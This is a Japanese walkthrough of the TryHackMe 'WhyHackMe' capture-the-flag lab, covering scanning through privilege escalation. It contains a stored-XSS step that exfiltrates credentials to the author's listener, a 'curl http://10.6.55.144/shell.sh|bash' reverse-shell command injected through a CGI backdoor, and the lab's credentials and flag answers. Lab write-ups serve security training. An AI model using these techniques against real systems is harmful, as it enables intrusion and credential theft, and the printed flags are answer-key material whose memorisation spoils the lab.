【TryHackMe】WhyHackMe：Walkthrough

# 概要

TryHackMe「WhyHackMe」のWalkthroughです。

https://tryhackme.com/r/room/whyhackme

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.171.42 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
|   256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_  256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome!!
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|

FTPに`Anonymous`ログインできるので確認するとテキストファイルを発見しました。

```
$ ftp 10.10.171.42                    
Connected to 10.10.171.42.
220 (vsFTPd 3.0.3)
Name (10.10.171.42:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44008|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
226 Directory send OK.
```

`update.txt`の内容から`127.0.0.1/dir/pass.txt`が侵入の手掛かりになりそうです。

```update.txt
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account. 
- admin
```

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.171.42
[00:30:59] 301 -  313B  - /assets  ->  http://10.10.171.42/assets/
[00:30:59] 200 -  482B  - /assets/
[00:31:09] 200 -    0B  - /config.php
[00:31:34] 200 -  282B  - /login.php
[00:31:34] 302 -    0B  - /logout.php  ->  login.php
[00:31:53] 200 -  374B  - /register.php
```

`/register.php`->`login.php`からログインするとブログにコメントが書き込めます。

![comment.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0bd8e250-f260-d212-6cf6-92b07900e49d.jpeg)

`username`フィールドでStored XSSの脆弱性が見つかりました。

![username xss.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8bb290a3-5b09-3712-273c-9d6504a4f7fd.jpeg)

ペイロードはChatGPTに書いてもらいました。

![create paylad.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/41ee8e9d-fa50-03ca-91d7-2ddc130c1a1b.jpeg)

上記ペイロードをユーザー名にしてアカウントを作成すると`127.0.0.1/dir/pass.txt`の内容を取得できました。
`Username: jack`,`Password: WhyIsMyPasswordSoStrongIDK`が判明しました。

```
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [19/Oct/2024 13:23:22] code 404, message File not found
127.0.0.1 - - [19/Oct/2024 13:23:22] "GET /dir/pass.txt HTTP/1.1" 404 -
10.10.221.167 - - [19/Oct/2024 13:23:32] code 404, message File not found
10.10.221.167 - - [19/Oct/2024 13:23:32] "GET /collect?data=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 404 -
```

得られた認証情報でSSH接続を試みると成功しました。

```
$ ssh jack@10.10.221.167
jack@ubuntu:~$
```

`/home/jack/user.txt`からユーザーフラグを入手できました。

```/home/jack/user.txt 
1ca4eb201787acbfcf9e70fca87b866a
```

**A**.**1ca4eb201787acbfcf9e70fca87b866a**

## **Q2**.*What is the root flag?*

`sudo -l`で`/usr/sbin/iptables`を見つけました。

```
$ sudo -l
[sudo] password for jack: 
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables
```

また、`/opt`配下にpcapファイルを発見しました。

```
$ ls -la /opt
total 40
drwxr-xr-x  2 root root  4096 Aug 16  2023 .
drwxr-xr-x 19 root root  4096 Mar 14  2023 ..
-rw-r--r--  1 root root 27247 Aug 16  2023 capture.pcap
-rw-r--r--  1 root root   388 Aug 16  2023 urgent.txt
```

ファイルをダウンロードし、パケットを見るとTLS1.2のパケットがキャプチャされています。

![tls1.2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b10b8f03-058c-56c9-77f2-3531bd26d099.jpeg)

パケットを復号するために、証明書のキーファイルを探します。

```/etc/apache2/sites-enabled/000-default.conf 
<VirtualHost *:41312>
        ServerName www.example.com
        ServerAdmin webmaster@localhost
        #ErrorLog ${APACHE_LOG_DIR}/error.log
        #CustomLog ${APACHE_LOG_DIR}/access.log combined
        ErrorLog /dev/null
        SSLEngine on
        SSLCipherSuite AES256-SHA
        SSLProtocol -all +TLSv1.2
        SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
        SSLCertificateKeyFile /etc/apache2/certs/apache.key
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        AddHandler cgi-script .cgi .py .pl
        DocumentRoot /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
                AllowOverride All 
                Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>
```

キーファイルが`/etc/apache2/certs/apache.key`だと分かりました。
キーファイルをダウンロードします。

`Edit`->`Preferences`->`Protocols`->`TLS`->`RSA keys list`からキーファイルをインポートします。

![wireshark tls.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a401c5f5-5a87-17f1-8f17-6c019fccc015.jpeg)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a1b67587-ebdf-20c7-9528-5934e50a9c12.png)

HTTPでフィルタリングすると`41312`ポートでRCEのパケットを取得できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bca3845c-30c2-029b-3947-0ebbc8ba0b90.png)

iptablesで`41312`ポートを開放します。

```
$ sudo iptables -I INPUT -p tcp --dport 41312 -j ACCEPT
[sudo] password for jack: 
jack@ubuntu:/opt$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:41312
DROP       tcp  --  anywhere             anywhere             tcp dpt:41312
ACCEPT     all  --  anywhere             anywhere            
ACCEPT     all  --  anywhere             anywhere             ctstate NEW,RELATED,ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
ACCEPT     icmp --  anywhere             anywhere             icmp echo-request
ACCEPT     icmp --  anywhere             anywhere             icmp echo-reply
DROP       all  --  anywhere             anywhere            

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere
```

`https://10.10.221.167:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id`にアクセスするとRCEに成功しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1cf7604e-4e66-6c75-c205-3d6af501bd05.png)

`&cmd=curl http://10.6.55.144/shell.sh|bash`でリバースシェルを張れました。

```
$ nc -lvnp 1234 
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.221.167] 49436
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`sudo -l`を確認します。

```
$ sudo -l 
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL
```

rootでbashを起動し、権限昇格に成功しました。

```
$ sudo -u root /bin/bash
sudo -u root /bin/bash
root@ubuntu:/usr/lib/cgi-bin#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
4dbe2259ae53846441cc2479b5475c72
```

**A**.**4dbe2259ae53846441cc2479b5475c72**